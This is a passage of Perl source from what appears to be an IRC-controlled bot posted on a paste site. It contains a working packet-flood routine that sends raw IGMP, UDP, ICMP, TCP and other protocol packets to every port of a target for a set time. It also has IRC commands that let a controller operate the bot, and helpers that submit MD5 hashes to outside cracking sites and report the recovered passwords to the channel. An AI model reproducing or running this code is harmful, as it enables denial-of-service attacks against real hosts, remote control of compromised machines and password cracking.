  1408. my $cp = 0;
  1409. my (%pacotes);
  1410. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1411. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1412. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1413. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1414. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1415. return(undef) if $cp == 4;
  1416. my $itime = time;
  1417. my ($cur_time);
  1418. while ( 1 ) {
  1419. for (my $port = 1;
  1420. $port <= 65000; $port++) {
  1421. $cur_time = time - $itime;
  1422. last if $cur_time >= $ftime;
  1423. send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
  1424. send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
  1425. send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
  1426. send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
  1427. for (my $pc = 3;
  1428. $pc <= 255;$pc++) {
  1429. next if $pc == 6;
  1430. $cur_time = time - $itime;
  1431. last if $cur_time >= $ftime;
  1432. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1433. send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
  1434. }
  1435. }
  1436. last if $cur_time >= $ftime;
  1437. }
  1438. return($cur_time, %pacotes);
  1439. }
  1440.  
  1441. sub ctcp {
  1442. return unless $#_ == 1;
  1443. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1444. }
  1445.  
  1446. sub msg {
  1447. return unless $#_ == 1;
  1448. sendraw("PRIVMSG $_[0] :$_[1]");
  1449. }
  1450.  
  1451. sub notice {
  1452. return unless $#_ == 1;
  1453. sendraw("NOTICE $_[0] :$_[1]");
  1454. }
  1455.  
  1456. sub op {
  1457. return unless $#_ == 1;
  1458. sendraw("MODE $_[0] +o $_[1]");
  1459. }
  1460.  
  1461. sub deop {
  1462. return unless $#_ == 1;
  1463. sendraw("MODE $_[0] -o $_[1]");
  1464. }
  1465.  
  1466. sub j {
  1467. &join(@_);
  1468. }
  1469.  
  1470. sub join {
  1471. return unless $#_ == 0;
  1472. sendraw("JOIN $_[0]");
  1473. }
  1474. sub p { part(@_);
  1475. }
  1476.  
  1477. sub part {
  1478. sendraw("PART $_[0]");
  1479. }
  1480.  
  1481. sub nick {
  1482. return unless $#_ == 0;
  1483. sendraw("NICK $_[0]");
  1484. }
  1485.  
  1486. sub quit {
  1487. sendraw("QUIT :$_[0]");
  1488. }
  1489.  
  1490.  
  1491. sub ice(){
  1492. my $md5hash = $_[1];
  1493. chomp $md5hash;
  1494. my $query = "http://ice.breaker.free.fr/md5.php?hash=".$md5hash;
  1495. my $checker = query($query);
  1496. if ($checker =~ m/<b><br><br> - (.*?)<br><br><br>/g) {
  1497. my $cracked="$1";
  1498. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-ice.breaker.free.fr 4@ 12 ] 4 ==> ".$cracked."");
  1499. } else {
  1500. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-ice.breaker.free.fr 4@ 12 ] 1 Has not Found.");
  1501. }}
  1502.  
  1503. sub gdata(){
  1504. my $md5hash = $_[1];
  1505. chomp $md5hash;
  1506. my $query = "http://www.gdataonline.com/qkhash.php?mode=txt&hash=".$md5hash;
  1507. my $checker = query($query);
  1508. if ($checker =~ m/<b>(.*?)<\/b><\/td>/g) {
  1509. my $cracked="$1";
  1510. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-gdataonline.com 4@ 12 ] 4 ==> ".$cracked."");
  1511. } else {
  1512. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-gdataonline.com 4@ 12 ] 1 Has not Found.");
  1513. }}
  1514.  
  1515. sub redn(){
  1516. my $md5hash = $_[1];
  1517. chomp $md5hash;
  1518. my $query = "http://md5.rednoize.com/?p&s=md5&q=".$md5hash;
  1519. my $checker = query($query);
  1520. if ($checker =~ m/<(.*)/g) {
  1521. my $cracked="$1";
  1522. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-rednoize.com 4@ 12 ] 4 ==> ".$cracked);
  1523. } else {
  1524. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-rednoize.com 4@ 12 ] 1 Has not Found.");
  1525. }}
  1526.  
  1527. sub xpz(){
  1528. my $md5hash = $_[1];
  1529. chomp $md5hash;
  1530. my $query = "http://md5.xpzone.de/?string=".$md5hash."&mode=decrypt";
  1531. my $checker = query($query);
  1532. if ($checker =~ m/<b>(.*)<\/b>/g) {
  1533. my $cracked="$1";
  1534. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-xpzone.de 4@ 12 ] 4 ==> ".$cracked);
  1535. } else {
  1536. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-xpzone.de 4@ 12 ] 1 Has not Found.");
  1537. }}
  1538.  
  1539. sub ben(){
  1540. my $md5hash = $_[1];
  1541. chomp $md5hash;
  1542. my $query = "http://md5.benramsey.com/md5.php?hash=".$md5hash;
  1543. my $checker = query($query);
  1544. if ($checker =~ m/<string><\!\[CDATA\[(.+?)\]\]><\/string>/g) {
  1545. my $cracked="$1";
  1546. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-benramsey.com 4@ 12 ] 4 ==> ".$cracked);
  1547. } else {
  1548. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-benramsey.com 4@ 12 ] 1 Has not Found.");
  1549. }}
  1550.  
  1551. sub alim(){
  1552. my $md5hash = $_[1];
  1553. chomp $md5hash;
  1554. my $query = "http://alimamed.pp.ru/md5/?md5e=&md5d=".$md5hash;
  1555. my $checker = query($query);
  1556. if ($checker =~ m/<b>(.+?)<\/b>/g) {
  1557. my $cracked="$1";
  1558. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-alimamed.pp.ru 4@ 12 ] 4 ==> ".$cracked);
  1559. } else {
  1560. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-alimamed.pp.ru 4@ 12 ] 1 Has not Found.");
  1561. }}
  1562.  
  1563. sub cry(){
  1564. my $md5hash = $_[1];
  1565. chomp $md5hash;
  1566. my $query = "http://us.md5.crysm.net/find?md5=".$md5hash;
  1567. my $checker = query($query);
  1568. if ($checker =~ m/<li>(.+?)<\/li>/g) {
  1569. my $cracked="$1";
  1570. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-crysm.net 4@ 12 ] 4 ==> ".$cracked);
  1571. } else {
  1572. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-crysm.net 4@ 12 ] 1 Has not Found.");
  1573. }}
  1574.  
  1575. sub query($) {
  1576. my $url=$_[0];
  1577. $url=~s/http:\/\///;
  1578. my $host=$url;
  1579. my $query=$url;
  1580. my $page="";
  1581. $host=~s/href=\"?http:\/\///;
  1582. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1583. $query=~s/$host//;
  1584. if ($query eq "") { $query="/";};
  1585. eval {
  1586. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1587. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1588. my @r = <$sock>;
  1589. $page="@r";
  1590. close($sock);
  1591. };
  1592. return $page;
  1593. }
  1594.  
  1595. sub fix_url($) {
  1596. my $str=$_[0];
  1597. if ($str =~ m/^http:\/\/(.*)/i || $str =~ m/^https:\/\/(.*)/i) {
  1598. $set="".$str."";
  1599. }
  1600. else {
  1601. $set="http://".$str."";
  1602. }
  1603. return $set;
  1604. }
  1605.  
  1606. sub http_query($){
  1607. my ($url) = @_;
  1608. my $host=$url;
  1609. my $query=$url;
  1610. my $page="";
  1611. $host =~ s/href=\"?http:\/\///;
  1612. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1613. $query =~s/$host//;
  1614. if ($query eq "") {$query="/";};
  1615. eval {
  1616. local $SIG{ALRM} = sub { die "1";};
  1617. alarm 10;
  1618. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1619. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1620. my @r = <$sock>;
  1621. $page="@r";
  1622. alarm 0;
  1623. close($sock);
  1624. };
  1625. return $page;
  1626. }
  1627. }
Add Comment
Please, Sign In to add comment